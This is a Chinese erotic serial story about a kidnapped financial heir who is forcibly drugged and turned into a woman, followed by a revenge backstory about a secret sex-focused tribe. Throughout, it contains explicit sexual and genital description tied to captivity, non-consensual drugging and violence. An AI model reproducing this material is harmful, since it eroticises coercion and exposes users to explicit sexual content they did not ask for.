图片载入中

监禁第一部

特大字】 【大字】 【中字】 【小字

1.监禁的开始和可怕的药剂

这已经是第三个星期了,我被圈禁在这间40平米的房间里;虽然我的行动没有受到限制,但我却出不去。在每天固定的时候,有人会把水和食物送进来,但是我没有机会趁这个间隙逃走——他们提防了!

在房间的一角是床,另一角是厕所和浴室,除此之外,电视,电脑什么都有,在这么拥挤的房间里面,倒是什么都不缺的样子;不过这里没有电话,电脑也不能上网,我不能与外界取得联系。

我的名字叫欧阳梓,是控制全球经济命脉的欧阳财团的第24任掌权人,所以在这个世界上想要绑架我的人很多,因此这次我也没有觉得意外,唯一有点不同的是这次的对手能将我身边的保镖在一瞬间消灭掉。

“告诉我吧!你们把我关在这里究竟出于什么目的?”我已经按捺不住,开始与送饭的人对话。

送饭的家伙用眼角的缝隙轻轻地撇了我一眼,什么都没有说就出去了,然后他锁上了门。

在傍晚的时候,我听见远处传来与送饭的人不一样的脚步声,随即便进来几个陌生的人。站在中间的是一个男的,穿的很讲究,他的身旁一边站着一个女人,都很漂亮。

站在中间的那个男子向我深深地鞠了一个躬,说道:“欢迎来到我的领域!

希望您在这里能住得愉快!”

我放肆地坐在床上,正眼都不看他一下:“我不想知道你的名字,你只要告诉我你们这次想要多少钱就可以了!”在我看来,眼前的只不过是普通的贪财之徒罢了。

眼前的男子笑了笑,没有再说话,带着身边的两个女人转身准备离开。

我已经对眼前的一切感到愤怒,冲上去大叫:“你们究竟想要什么!告诉你们,藐视我的人都会死得很惨!”

面对我的咆哮,那男子还是没有说话,只是摆摆手,离开了房间。

房间再次变得清静,但这些并不是我要的。

又过了几个小时,到睡觉的时候了,突然从门外送进来两个裸体的女人,从模样上看来都是极品的货色。于是我便放肆了一晚上,对于绑架我的人的目的,我更是感到迷茫。

但是我还是没有担心,因为对于我这样一个举足轻重的人物的失踪,在世界上来说都是一个很大的问题,警察和我名义下的部队很快会搜遍地球上的每一个角落,这里的一分一毫很快会被人所发现。

不过后来发生的事情并不是我想象的那样简单……

在我正轻飘飘地幻想着什么时候可以出去的时候,这天进来一个女人,我记得她是那天站在那个男人旁边的两个女人中的一个。

“您好!”她礼貌地向我打招唿。

我傲慢地答道:“怎么,你是来陪我的吗?可惜你并不是我喜欢的类型!”

“我尊敬的先生,恐怕您今后再也不能有这样的想法了!但愿我今天所做的事情会让您变得安静一点!”

这时候,从门外突然窜进来好几个彪形大汉,他们将我牢牢地按在床上;这是我被绑架以来第一次被粗暴地对待,所以我拼命反抗,但是没有用。

随后,只见眼前的女人慢慢地从包里拿出一支针筒,里面有药,正在我拼命挣扎的时候,那个女人将针筒里面的药剂注射进我的体内。

那个女人转身准备离去,此时的我也摆脱了几个大汉的束缚,但我已经有气无力。

“你给我注射的……究竟……是什么……”

那个女人缓缓地转过身来,用纤细的手指轻轻地按住我的嘴唇,避重就轻地说了两个字:“秘密!”

然而我知道这并不是能用简单的“秘密”两字就能说清楚的问题。

自从那天开始,我的身体就开始与体内的药物产生强烈的反应,不断的呕吐只是这种反应的外部表象。我开始吃不下饭,实际上我已经有好几天没有吃饭了,我感到我的身体慢慢地消瘦下去。

不过身体内部的那种强烈的不适应的反应并没有因为我的消瘦而停止,我感到全身好像是火在燃烧那样滚烫——这种情况大约持续了一个星期。

一个星期以后,我的感觉比之前有了改观,身体也没有那样发烫,呕吐也停止了,更值得欣慰的是我又吃得下饭了,只是饭量比以前大大地减少了。我感觉我现在的体重好像还不到以前的三分之二,而我的身高好像也没有以前高了。

从第二个星期开始,更加强烈的变化开始发生在我的身上……

我渐渐地感到我的肌肉在萎缩,一种严重的无力感充斥着我的全身,现在的我就算是两只手也提不起以前只要一只手就可以提起的东西——我到底是怎么了?

然而,更加令我吃惊的就是我的胸部开始莫名地肿胀起来,这是以前从来都没有过的感觉,好像是在发育一样。我明显地意识到,胸部已经有两团肉在慢慢地突出,乳头也已经变得比以前大了,乳头的颜色也慢慢变得鲜艳起来。

我的臀部也开始了慢慢变大,我在坐着的时候可以清楚地知道我臀部有明显的脂肪在堆积,我用手触摸我的臀部的时候,可以感觉到脂肪在里面运动。

最让我痛心疾首的变化,就是我的阴茎正在一天一天地缩小,自从那天上过两个女人以后它就再也没有勃起来过;现在,除了上厕所的时候,我已经渐渐忽略了它的存在!

我现在终于对那天那个女人给我注射的药剂有了一定的了解了——是激素,而且是经过了反复浓缩之后的超高效雌性激素,这种激素你跟本不用使用第二次,只要注射一次就终生有效!

我对于那个女人对我的身体所做的事情感到不可原谅,我在房间里不断地咆哮,只希望让那个该死的女人知道,我是会加倍报复她的!

如我所愿,第二天我就又见到了那个女人,她好像也怕我对她不利,身边带了好几个保镖。

时值我被注射雌激素后的第三个星期。

2.药剂的真相

“好像您已经知道我在您身上注射的是什么东西了吧!尊敬的先生——对了,我得改一下对您的称谓才好,已经不能再称唿您先生了……”

听见这样的调侃,我有些怒不可遏,但我知道现在的我就算和她一对一也占不到丝毫的便宜,何况她身边还有这么多的保镖。

看见我没有说话,那个女人又说:“怎么了嘛?我只是想让您变得安静一点而已嘛,您不要生气嘛!您该不会是想要揍我吧?什么,是不是因为我身边带着保镖您不敢走我呀?那好吧,我叫他们走开就是了!”

说着,她让身边的人全部走开了,房间里只剩下我们两个人。

“您爱干什么就干什么吧——只要您身上还有足够的力气的话!”

听着她的话,我没有激动;我缓缓地抬起头来,从牙齿缝里挤出一句话来:“总有一天……我会让你知道……我的……厉害!”

“那要等您出去以后再说了!”

“区区的雌性激素,是难不倒我的!”

对面的女人听到这里,开始嗤嗤嗤地笑起来:“原来您还不知道我给您注射的是什么药剂吧!像雌性激素那样平凡的东西,怎么配用在想您这样的大人物身上呢?”

我有些吃惊:“那么说,你给我注射的并不是雌性激素,那么你给我注射的究竟是什么?”

“您应该也懂一些药理方面的知识吧!那我问您:雌性激素能改变哪些,不能改变哪些?”

我没有说话。

“那么,您还记得您以前多高吗?”

我还是没有说话。

“那么,您总该记得我与您初次见面的时候我有多高吧!”

说着,面前的女人站起身来,她还拉着我也站起来——我清楚地看到她比我要高出几公分,但是在我第一次见她的时候她并没有我高。

“我记得我的身高大概只有170 公分吧,这个身高已经好几年都没有改变过了;我记得您的身高以前大概是175 公分左右吧!”

没错,我以前的身高的确是在175 公分左右,但是现在我估计自己的身高已经降到170 公分以下了!

“我问您,您说雌性激素可以改变一个人的身高吗?”

我努力控制自己尽量不要往坏的方面去向。

“您还是不说话,那也没有什么关系。不过您要接受发生在您眼前的事实!

那么,我今天只想您再确认一件事情——您的下边除了发现那玩艺儿变小了之外还发现了什么?”

我不想按照她所说的去确认,但是好奇心还是激发我将手伸进自己的下身去探查——果然,最让我意想不到的情况出现了——我触摸到,清楚地触摸到,我的阴茎的正下方,有一道口子,虽然还不是很大,但已经可以将小指头伸进去一点,这绝对不是普通的什么伤口之类的东西。

看着我吃惊而且充满迷茫的表情,对面的女人说道:“哎呀呀,您是不用担心呀!那种东西是每个女人都有的!”

“你给我注射的,到底是什么东西?”我终于忍不住了。

“让我来告诉您吧!我给您注射的并不是什么雌性激素,而是可以让性别反生长的奇特的药!”

“性别反生长?”

“对!我们的族人认为,每一个人生下来,不管是男还是女,都存在着性别相对的另外一个个体,这种药的效果就是让人变成与之相对的另外一个个体。也就是说,在出生的时候您可能是男的也可能是女的,这种药的效果就是让您变成您曾经有可能成为的女性个体的那样一种状态。”

听到这里,我已经忍无可忍,伸出巴掌要打那个女人,不想巴掌被那个女人轻松地抓住了。

“看来真的有变化了!如果是男人的话,这个时候应该是出拳头而不是出巴掌!”我的手被她抓住竟然挣脱不开,“要知道,现在的您是打不过我的!不过您也不要太着急,您身体的变化还只是初期而已,真正的变化完全要等到两个月以后,到时候就算您最亲近的人也认不出您的!”

“你们……你们把我当人妖吗!”我的气已经不打一处来。

眼前的女人将脸凑近过来,微笑着说道:“不哦,可不是人妖哦!是女人啊,真正的女人啊!您可要自重啊!”

说着,那女人放开我的手,自己转身离开了我的房间;此时我的手已经被她抓得很疼,我知道现在的我对眼前的敌人已经是无能为力。现在的我连个女人都打不过,更别说是靠自己的力量逃出去了;不过只要出去了,我就有机会再变回来,既然那样的药能把男人变成女人,那么就一定可以让女人变成男人,只要再次得到那种药剂,我就可以恢复成以前的自己。

到了晚上夜深人静的时候,我脱下自己的裤子,仔细地观察我下身突然出现的缝隙,这条缝隙现在还不长,大概只有一厘米的样子,深度也不够,只能将小指头伸进去一点点而已。再往上看,是我那无精打采的阴茎,我拼命地搓动,但是它却一点反应也没有。

“这种药的效果就是让您变成您曾经有可能成为的女性个体的那样一种状态。”

我的耳边浮想起白天那个女人所说的话,这句话听起来很拗口,但是有一点是明白的,就是在不久以后的将来,我的全身上下都会变成女人,这不是变成人妖,而是变成真正的女人。

在前三个星期,我得身体已经感觉到强烈的变化,那么,在接下来的五个星期里,我得身体又将迎来什么样的变化呢?是不是这五个星期的变化来得比前面三个星期更为猛烈,更为惊人?

难道每个人出生的性别都是一种偶然?难道说我也有可能身为女子而存在?

那个女人的话是如此的难以理解!如果一出生我就是女人,那么现在的我又是什么样子呢?会不会长得十分漂亮,又或者是一副相当丑陋的面孔?

与自己的性别相对应的另外一个个体是什么样子,并不是单单的想象就能得到答案的。

3.变化

我被注射性别反生长的药剂已经接近一个月了,在刚过去的几天里面,我的身体的变化依然强烈。

头发的生长速度明显开始加快,现在我的头发已经齐肩,很难想象那么大量的头发是在刚过去的一个月里长出来的;新长出来的头发也跟以前的头发不太一样,又粗又亮,不像是我曾经的头发。

我也感觉到,我的脸也在发生强烈的变化,包括脂肪的重新排列,面部骨骼的缓慢变化,我已经下意识地认识到现在的我的脸,早已不是以前的样子了。但是我却不敢正视我现在的面容,我打碎了房间里所有的有反射功能的东西,在用水的时候也是小心翼翼,生怕看见了我现在的样子。

在头部以下,骨骼的变化也在进行当中。我的胸腔好像已经缩小,而我的骨盆却在增大,总的来说全身上下是小了一圈。

我已经不敢再想象自己的身高了,恐怕我现在的身高连165 公分都不到了,在房间里面走动的时候,我清楚地感觉到周围的物件在长高。

肌肉的萎缩在继续,虽然这种变化的频率在慢慢变小,但是我的力量依然在一天天减小;平时要是多走动几步就觉得很累,我也尽量不去碰那些看起来有点重的东西。现在的我别说是那个女人了,恐怕就是10岁左右的小男孩,我也拗不过。

胸前的两团肉在这段时间开始疯狂地生长起来,每天早上我醒来的时候都会发现它们又大了一圈,我很难想象它们再像这样无休止的生长下去以后我会变成什么样子。乳头也变大了,变得跟小指头一样大小,颜色没有才开始变化的时候那样鲜艳,呈暗红色,乳晕的面积也在扩大。现在的我,可以说拥有了乳房,但这乳房还没有一般女人的大。真是讽刺呀,我的胸腔在缩小,而我的胸围却好像是在增加。

我的腰部的脂肪已经不见了,所以我的腰部变得苗条许多,我用手去摸——好细,真的好细!就像是以前摸过的模特的腰一样!

腰部的脂肪,向着臀部堆积,我的臀部已经变得巨大而浑圆,现在的男装裤子已经包不住那样大的臀部;我的臀部有种要将裤子撑破的感觉,从外面看很容易看见我滚滚的臀部。

每天小便的时候,我都在注意观察我下体的变化,也使劲手淫过,但是始终不见成效。

现在我的阴茎已经只剩下大概3 厘米的小管子,而睾丸也已经小得看不见了,我看它很快就无法完成小便的任务了;而与之相对的,是我阴茎下面的裂缝正在一天天扩大,现在我已经可以将食指和中指并排着插进去了,而且可以向下移动5 公分的样子,在手指与之摩擦的时候,居然会产生一种怪怪的感觉。我清楚地认识到这样的缝隙最终会成长为什么样子。

时间在一天一天的过去,第二个月的日子展现在我的面前,在清净的时候我牢牢地记录下身体的变化。

第二个月的前两个星期:头发的生长速度已经恢复正常,脸部的变化也在慢慢减弱,我估计我的容貌已经定型。

全身的骨骼还在有比例地缩水,当然,臀部是例外的。

我的身高,我已经不敢去想象,这时候要是我的身高还有160 公分的话,我就会谢天谢地了,如果再这样继续变矮,我怕自己会变得更加弱小。

肌肉的力量已经不再减少,但是我仅剩的这点力量想必是什么事情也干不了了吧,再加上我矮小的个头,我简直已经成了一个弱者!

外表的皮肤变得光滑而细腻,几乎有种吹弹可破的感觉,身上的毛发明显减少,我注意到我的四肢变得细长,特别是手指,简直就像刚收割下来的大葱一样纤细。

我的胸部的发育比起上一个月来有过之而无不及,我觉得好像我身上全部的能量都用到了乳房的成长上!像这样漫无目的地生长下去,我的乳房迟早会超出我的想象!我用手抓住自己的乳房的时候,有一种强烈的触电的滋味;现在我的乳房已经和一般女人的乳房一样大了,当然它还在继续生长,照这样看来,我的杯罩迟早会超过大多数的女人。乳房的增大给我的生活带来了诸多的不便,送换洗衣服的人好像也有意识地送来了胸罩,但是我没有穿。

我的腰部也在继续缩小,当然缩小的速度不会比乳房快,我站起来向下看,根本就看不见我的腹部,一来是因为有胸部挡着,二来是因为腹部已经相当的平坦。

由于骨盆的迅速生长和脂肪的不断堆积,我的臀部还在继续地扩大,当然这种速度比不上乳房的变大,但是我的臀部还是到了让我以前的裤子已经快穿不进去的地步,书上说的所谓“肥臀”大概就是这样的状态吧!滚圆的臀部,巨大的臀部,我无法用合适的语言来形容。

在这两个星期里面,我的两腿之间的秘密地带的变化最为突出。

我的睾丸打第二个月开始就看不见了。

我的阴茎越来越短,以至于根本无法达到使我站着小便的目的,到了第一个星期的末尾,我不得不坐在马桶上小便,而到了第二个星期末,我的阴茎就完全消失了。

与之形成鲜明对比的是,我下边的女性阴道(我现在可以称唿它为“阴道”

了)正在蓬勃地生长,已经可以将很粗的东西插进去了,而且还可以插得很深,但是我也不敢插得太深,因为会很痛,不过我还是可以感觉到里面深不见底,毕竟我的臀部已经足够的巨大。

到了第二个星期的结尾,阴道完全占据了我以前阴茎在我下身的位置,现在我的下身和女性的外生殖器一模一样了,包括内阴和外阴,大小阴唇,还有阴蒂,但是我还不知道里面是不是也和其他女人一样。现在的我的下半身,哪怕是阴毛,也是按照女人的方式分布的。

离真正的变化完全还剩下最后两个星期的时间。

4.变化终了

由于长时间一个人被关着,我没有太多的机会与人交谈说话,但是,我还是意识到我的声音也应该会变得跟一般女人的一样又尖又细,毕竟这药剂的效果是那样猛烈。

还好,在最后的两个星期里,我的身高没有再减少了,全身上下的骨骼在这两个星期里都没有再发生过变化,可以说是已经定型了。

我的乳房还在不断的增加当中,在全身的变化都已经减缓或者停止的时候,乳房的成长速度就像是它才刚开始发育的时候一样,这种近乎疯狂的生长速度使它在我的感觉中尤为敏感。我的乳房已经超过了一般女人的大小了,凭我的观察现在我大概有D 罩杯了吧,这是很多女人都梦想拥有的“丰满”的尺寸。但是,这样的“丰满”对于我来说也并不是终点,我的大脑里面非常清楚地意识到,就算身体上下所有的变化停止,乳房的增加还是会继续!

腰部没有再变细了,或者可以说是这两个星期腰部变细的程度细微得连我自己也察觉不到,毕竟我的腰已经够细了,如果再要变得更细的话,我的腰部就没有了。现在的我吃得很少了,但我并不是有意识的在节食,而是我确实吃不下,现在的我可能要3 天才能吃完以前我一天就能吃完的东西。

我的臀部的变化也已经差不多了,滚圆而坚挺,是我对自己完美臀部的描述。

在生殖器方面,阴道早已取代阴茎成为了主角,但是我却感觉到每天每夜在我的阴道内部都有东西在剧烈的活动,在潜意识中我感到这是内生殖器在蓬勃地生长。到了两个月完了的时候——也许就恰恰是两个月期限的那一天——我的月经如同波涛般袭来。

突然而来的月经让我一时半会儿不知道该怎么办,我意识到这代表我的女性身体已经完全形成,现在的我已经不再是原来地我了,我是一个女人了,一个真真正正的女人了!

在这个时候,给我送换洗衣服的人也有意识地送来了全套的女装,我单是用看就知道这些衣服十分合身,他们一定是在某个地方不断地观察我,测量我。另外,他们连卫生巾都一并送来了。

除此之外,他们也还是将男装送进来,恐怕他们是害怕我不肯穿女装,或者是给我一个信号:“是男是女,你自己挑!”不过新送来的男装也与以前的不一样,新的衣服裤子很大,好像是专门给胖的人预备的,这样的衣服裤子可以很好地包住我的胸部,包住我的臀部。

又过了几天,那个女人又来了,就是将我引向女性之路的神秘女人,她又出现在我的面前。同样,这次她也没有带任何人来,好像是嘲笑我现在的无能为力。

“看来已经完成了,你的感觉如何?”

“很少见呢,你今天怎么不用尊称呀?”

“你的声音还真是好听呀——不过‘您’是称唿以前的欧阳梓大人的,现在物是人非,用不着再那样和你说话!”这时,对面的女人突然凑近了端详我的脸,然后她惊奇地说道,“不愧是继承了欧阳家族的优秀血脉的人,无论是作为男人还是作为女人都显得十分的出众!”

我有些诧异,看来她说的是我的脸长得漂亮,不过这几个星期以来我跟本没有见过自己的脸,听她那么一说我倒是十分地好奇起来。

“啧啧啧啧,看来你并不知道自己长得有多漂亮,那让我给你看看!”

说着,面前的女人拿来镜子,我看见了镜子里面自己的面容。

天啊!这真的是我吗?弯弯的眉毛,一双水灵灵的大眼睛上面是多而密的睫毛,精巧而细致的鼻子,樱桃般的小嘴,所有的一切都丝毫不差的分布在白皙的脸上,我的脸色还有点苍白,头发也有点乱,看上去有一种病态美。可以毫不犹豫的说,我的面容是相当漂亮的面容,至少比我对面站着的女人要漂亮。

对面的女人哈哈大笑:“没想到你一出生就是一个美人,要是你一生下来就是女的就好了,省得我用这么麻烦的方法看到你的另一面!来来来,站起来让我仔细看看!”

说着,那个女人拉着我站起来。我也不知道现在我有多高,但是眼前的女人足足比我高了大半个头,我以前好像听说她是170 公分的样子。

眼前的女人让我在原地不停地转圈,她就在不断地观察我的身材;此时的我虽然还穿着宽大的男装,但是衣服的材料很薄,从外面可以一眼看见我突兀有致的身材。转了几个圈以后,她让我停下来,又用手在我身上不断地触摸,最后她停下来,说道:“我以前曾经给无数的人使用过同样的药剂,但是还没有像使用在你身上那样的完美的,现在来说这种药的效果可不能单单用‘成功’两个字来形容了。你真的很幸运,你的血统高贵而优良,你们家族的人不是俊男就是美女,所以可想而知你会变得相当的漂亮。不过你的美丽已经超过了我,你的身材更是凌驾于我之上,你是一个真正的尤物,你所拥有的天使的面庞和魔鬼的身材可以让所有的男人拜倒在你的石榴裙下!”

听着眼前的女人莫名其妙的评论,我的心情相当的复杂,不知道是该哭还是该笑:“首先,我不会因为你们把我变得美丽而感激你们,相反的,我十分厌恶你们为我创造的这副身体!但是,我还给你们一次机会,如果你们现在就放我离去,我可以保住你们的性命,毕竟一切都是可以挽回的!”

“挽回?你指的是什么?”

“既然你们有药把我从男人变成女人,那么你们也一定有药将我再变回去!”

“这个暂且不要说——我第一个要提醒你的是,我们从来都没有打算放你回去!”

我相当吃惊:“为什么?这究竟是为了什么?”

“为了什么?让我先给你讲个故事吧!”

5.古老而奇特的民族

在遥远的东方,有一个叫做尤兀族的鲜为人知的民族,一直以来,这个民族都过着与世隔绝的生活。

尤兀族的诞生,是在两千多年前的春秋战国时期。

当时,正是思想最为活跃的百家争鸣时期。

老子,是道家学派的创始人,他主张清净无为的生活态度;在老子之后,是庄子,他主张返普归真的思想境界。

在庄子的弟子中间,有一个叫做尤兀术的人,他深刻的理解了他的前辈们的道家的思想理念,并且有自己独到的认识。

他认为,一切的社会和科技的发展对于人类的生存是有害的,而最好的方法就是像动物那样停滞不前;人类目前最应该做的,是从自己的本身寻找快乐——这一思想,成为后来的尤兀族文化的基础。

战国后期,兵荒马乱,尤兀术带着全家上下几十口人逃入深山,从此以后就在无人知晓的地方开始生活起来,这就是尤兀一族的祖先。

在往后的日子里,尤兀族受到道家的和尤兀术的思想的影响,走上了一条和发展科技和政治截然不同的道路;早期的尤兀族人认为,人类本身最原始的快乐就在于“性”,所以他们把研究“性”作为生活的主题,而以后的尤兀族的子孙们,世世代代承袭着这样的传统,久而久之,就形成了尤兀族独有的文化。

在历史上,还没有什么文明能在“性”的研究上超越尤兀族。尤兀一族的研究,并不仅仅局限于两性交合时如何才能取得最大化的快乐,还包括了对于可恨的敌人如何才能用“性”的方法使之得到最大的痛苦——这就造就了两方面的课题,一种是性爱,另一种是性虐待。

最值得一提的是,尤兀族有一种最为与众不同的风俗。

尤兀族人培育出了一种雌雄同体的植物,叫做异树,用这种树的果实,可以提炼出两种不同的药,一种是可以将男人变成女人的女人汤,另一种则是可以将女人变成男人的男人汤。由于这两种药的制作极为简单,而所用的材料到处都是,所以这两种药在村子里面到处都是。

所以,尤兀族人可以自由选择自己是身为男人还是身为女人,他们可以享受不同性别的身体,并用这种身体干自己想干的事情,包括做爱;这种性别的转变不同于变性手术,它是直接将人转变成为与本身性别相对应的另一个个体,所以转变以后的个体与原先的个体在形体上和相貌上有很大的不同——因此,尤兀族人认为人一出生就是一个中性的个体,每个人都包含了男人和女人两种不同的状态。

尤兀族的成人在性别转换方面是自由的,而尤兀族的小孩在性别转换上却是强制性的。

尤兀族的小孩在弱冠以前是不记录性别的,他们在这段时期里,必须每年转变一次性别,这是尤兀族独特的教育方式。

一般来说,按男人汤和女人汤的药效,可以在两个月的时间内完成性别的完全转变,所以尤兀族的小孩可以在一年中剩下的十个月时间里认真体验一种性别的感觉,然后在第二年,他又要开始体验另一种性别的感觉,如此周而复始,直到18岁。

到了18岁,尤兀族的小孩就可以行弱冠之礼,并宣布成为大人;与此同时,他必须选择一种性别作为自己的主性别——这是他18年来反复体验的结果,也就是说他认为他所选择的性别是优于另外一种性别的,并且这种选择是他日后婚姻的一种依据。

过了18岁,尤兀族人可以毫无禁忌地转变自己的性别,族人在这一点上没有作任何的限制,他可以随时转变自己的性别,而如果他不想这样做,也可以一辈子不转变自己的性别。

两千多年过去了,古老的尤兀族人以自己特有的生活方式生存至今,他们在科技上和政治上没有取得太大的成就,而唯独在“性学”的研究上,他们已经达到了现代社会所无法比拟的高度。

尤兀族所居住的地方,是一个巨大的天坑,这里树木丛生,地形又相当复杂,所以两千多年来都没有人发现过尤兀族人的村落,尤兀族人因此逃过了一次又一次的战乱。

到了现代,人造地球卫星也发现不了尤兀族人的存在,这是由于在尤兀族所居住的天坑的上方有相当厚的积云挡住了人造卫星的视线。

但是,没有绝对无法攻破的堡垒,自然屏障的力量也是有限的。

20世纪80年代,有一位探险家来到了尤兀族人的聚居地,他的名字叫李游云,

是个喜欢冒险的男人……

…………

听到这里,我有点听不下去了!

“怎么了?听不下去了是吗?这也难怪,和你的母亲的名字相同!”

我母亲的名字叫做李尤芸,在我眼里,她是世界上最完美的女人,她高贵,典雅,身上的没有一处不透着成熟女人的魅力。可惜,她在我十岁的时候就去世了,但是我心中依然很怀念母亲美丽的面容。

对面的女人竟然当面亵渎我心中的神灵,我立刻对她破口大骂!

“我知道你心中有疑惑,但是我要告诉你的是,我给你讲的故事,是百分之百真实的;对于你的母亲嘛,我是亲眼见过的,她可是个美人呀,她的姿色绝对不亚于现在的你!还有你知不知道,她还诱奸当时我们的族长……”

听到这里,我再也坐不住了,一下子扑到对面的女人身上;我也不知道当时我哪来的这么大的力气,将一个足足比我高大半个头的女人死死地压在地上无法动弹。

我正举起拳头准备向下面的女人砸去的时候,从门外面突然冲进来几个男人,他们将我硬拉起来;这时我的眼泪直流,虽然我有拼死的决心,但是却无法拗过身旁的几个强有力的男人。

“把她绑起来!”对面的女人缓缓从地上爬起来。

我被牢牢地绑在床上,一动也动不了。

对面的女人将绑我的几个男人支开,然后慢慢坐下:“你可要安静一点,我的故事还没有讲完呢!”

6.李尤芸

李游云来到尤兀一族,纯粹是一种巧合。当时,李游云名下的探险队在森林里面遇难,活下来的就只有李游云一个人。

李游云在巨大的原始森林里面迷路,好几天都没有找到水和食物,但是坚强的他还是活了下来,而且还误打误撞跌入尤兀族居住的天坑,更是进入了尤兀一族的村落。

尤兀一族向来是不接纳外族人的,因为他们认为外来者会给他们的民族带来毁灭,所以他们对奄奄一息的李游云置之不理。

李游云蹒跚着来到尤兀一族族长的屋子寻求帮助,族长告诉他尤兀一族的历史和尤兀一族不接纳外来者的原因,并对他说以前从外边来到尤兀族村落的人没有一个可以活着出去的。

李游云说道:“我来到这里,已经失去了生命的一半,我的生命还剩下另外一半,我想在这里燃烧。让我成为你们的族人吧,我会一辈子住在这里的!”

李游云的话打动了族长,族长答应李游云留下来,还给了他房子,粮食,还有耕地。

从此,李游云就住在了尤兀一族的村子里;很快地,李游云了解了这里的风俗和文化,并融入了这样的生活当中。

有一天,李游云找人要来了女人汤,并在大家的注视下喝了下去。尤兀族的人都相信,这个外来人已经是自己的同伴了。

女人汤的效用要在两个月之后才能够体现,所以在这两个月里,李游云没有走出过自己的屋子;到了两个月,尤兀族的族人们都聚集在李游云的家门口,想看看这位外来的同伴会变成什么样子。

走出来的是一位绝色的美女,尤兀族的男女老少没有想到这位外来客在喝下女人汤后会变成如此的美丽动人,她的容貌盖过了尤兀族所有的女人。很快地就有尤兀族的男子向她求婚,但是都被她委婉地拒绝了。

从此,李游云改名为李尤芸,并且她把村子里的档案记录上自己的主性别也改为了“女”,她说:“我喜欢作为女人生活,这是在体会了尤兀族的风俗文化之后我所得出的答案!”

自此以后,尤兀族的族人们把这个外来的同伴当作是土生土长的尤兀族人一样看待。

李尤芸勤勤恳恳地耕耘自己的土地,并且开始学习针织女工,不久以后,她成为了尤兀族村庄里最有魅力的女人;在其他的尤兀族人疯狂地享受改变性别带给他们的乐趣的时候,李尤芸却始终坚持衣女性的姿态出现,哪怕女人的身体会多少带给她不便。

李尤芸说:“我要用这样的身体走完我生命的进程,我一定要成为一个完美的女人!”这句话再次使李尤芸成为了村子里的宠儿。

尤兀族的族长特别嘉奖了李尤芸,并邀请她到自己家用餐。

尤兀族的族长还是单身,他年轻而且充满了活力,在他全族的性学研究领域当中,他是最出类拔萃的一个;所以那天晚上,李尤芸并没有回自己的住所,没有人知道那天晚上发生了什么。

第二天一早,族长就对外宣布,他打算和李尤芸成亲。

尤兀族的族人们都对这个消息表示吃惊,但是他们也十分高兴地接受让这个外来的同伴成为他们的族长夫人,他们为李尤芸设计了最美丽的嫁衣,在大家的欢唿声中李尤芸成为了族长的新娘。

第二年,李尤芸生下了一个健康的女孩,人们给她取名芸诞,以纪念她伟大的母亲。

李尤芸在众人面前从来不摆族长夫人的架子,相反,她平易近人。在家中,她更是贤妻良母,为家人洗衣做饭,任劳任怨,大家都为族长能娶到这样一位贤惠的妻子感到高兴;在一向淡漠爱情的尤兀族人看来,相夫教子的李尤芸简直就是完美女人的代表。

转眼间,李尤芸来到尤兀族已经有五年了。

这天,在为小芸诞举行的3 周岁的庆典上,所有的族人都在尽情地喝酒和吃肉。

突然间,作为主人的李尤芸眼睛里弹出了眼泪。

坐在她一旁的族长问道:“怎么了?”

李尤芸立刻用手帕拭去了眼角的泪水,说道:“没有什么的!”

这时,坐在下面的宾客中有人趁着酒醉大叫起来:“什么人敢欺负我们的族长夫人?”

李尤芸站起来,向下面坐的宾客深深地鞠了一个躬,说道:“对不起,扫大家的兴了,我真的没有什么的!”

下边有几个喝醉了的男人站起来,大声叫道:“族长夫人,您可能不知道,在我们尤兀族里面还没有什么道理是行不通的!”

李尤芸又说:“我真的没有什么!”

这时,才刚学会走路的小芸诞走过来拉住李尤芸的裙角,说道:“妈妈,有什么事情你就说嘛!”

李尤芸蹲下身来,抚摸着小芸诞的头,说:“芸诞,妈妈真的没有什么。”

说完,李尤芸站起身来,呆呆地看着天上的圆月。

下边的宾客中有细心的人,他知道了李尤芸的心思,说道:“族长夫人若是想家了,也可以回去的,只要您不泄漏尤兀族的秘密,并且早点回来就可以了!”

李尤芸连忙说道:“怎可让我一个人坏了存里面的规矩?而且我在村子外面哪里还有什么家?这里就是我的家!”

李尤芸的这句话让底下的宾客们沸腾起来,宾客们开始大叫:“回去吧!回去吧……”

此时的李尤芸更是热泪盈眶,不住的说:“谢谢!谢谢……”

第二天一早,李尤芸就在族人的欢送之下离开了村庄,并且族长还亲自将她送出了尤兀一族世代居住的天坑。

李尤芸这次省亲只是只身一人,她并没有把自己的女儿一起带走;这使所有的尤兀族人都坚信她一定会回到村子里来的,毕竟女人是无法割舍十月怀胎才换来的骨肉亲情。

一个月以后,正当尤兀族人都在盘算着如何为归来的李尤芸接风洗尘的时候,李尤芸又回到了这个村庄,但是她并不是一个人回来的。

在李尤芸的身旁站着的,正是欧阳财团第23任掌门人欧阳松,而在他们身后,竟是欧阳氏引以自豪的4 万人的私人武装!

7.尤兀一族幸存者的目的

故事讲到这里,我对面的女人低下了头。

我阴阳怪气地说道:“怎么不讲了?这个故事应该没有完吧?”

这时,对面的女人突然抬起头来,我注意到她哭了;那个女人冲到我的面前,把我一把按倒在床上,用手狠狠地扇我的耳光,一边扇还一边叫道:“贱人!贱人……”

我被绳子绑着,根本无法闪避,扎扎实实吃了好几个耳光。

这时,门外的几个保镖冲进屋来,把扇我耳光的女人制止住,嘴里说道:“小姐不要冲动,主人说过不能杀她的!”

我对面的女人停住了手,这时我才感到脸上是一阵又一阵的火辣。

对面的女人渐渐地冷静了下来,指着我对身后的保镖说道:“帮她解开吧!”

保镖为我解开了绳子,我觉得轻松了不少,但我全身上下都被勒出了很深的痕迹。

不一会儿,保镖们又出去了,对面的女人又开始说话了:“现在该向你正式介绍一下我们了:我们是尤兀一族的幸存者,我的名字叫尤兰,你见过的那个男的是我的哥哥,名字叫尤龙,这里还有一位主人,是我的嫂子,叫吕颦!”

听了她自报姓名,我不以为然:“那么,你的故事为什么不讲了?”

尤兰的脸色刷的一下变了:“难道你要我将尤兀一族是怎么被你父母覆灭的也要讲出来吗?”

对于她的生气,我有点吃惊,但是我还是相信我的父母是清白的:“这么大的事情,怎么我从来没有听说过?”

“事情是在将近二十年前发生的,而你是在那之后才出生的,你今年还不满20。”

“作为欧阳氏的掌门人,我在资料室里没有查到相关的资料!”

“你们欧阳家做的坏事情还少吗?如果每一件事情都记录的话,你们早就被世界政府通缉了!”

“但是,关于你刚才说的那个李尤芸,我还是有些疑问……”

“有什么好疑问的?难道你还不相信她就是你的母亲吗?我们可是自从灭族以后就一直在监视你的父母,我们想趁着时机成熟的时候杀掉他们,可惜都没有成功;不过他们也没有活多久,真是报应呀,报应呀……”

我立刻站起身来:“你说什么!”

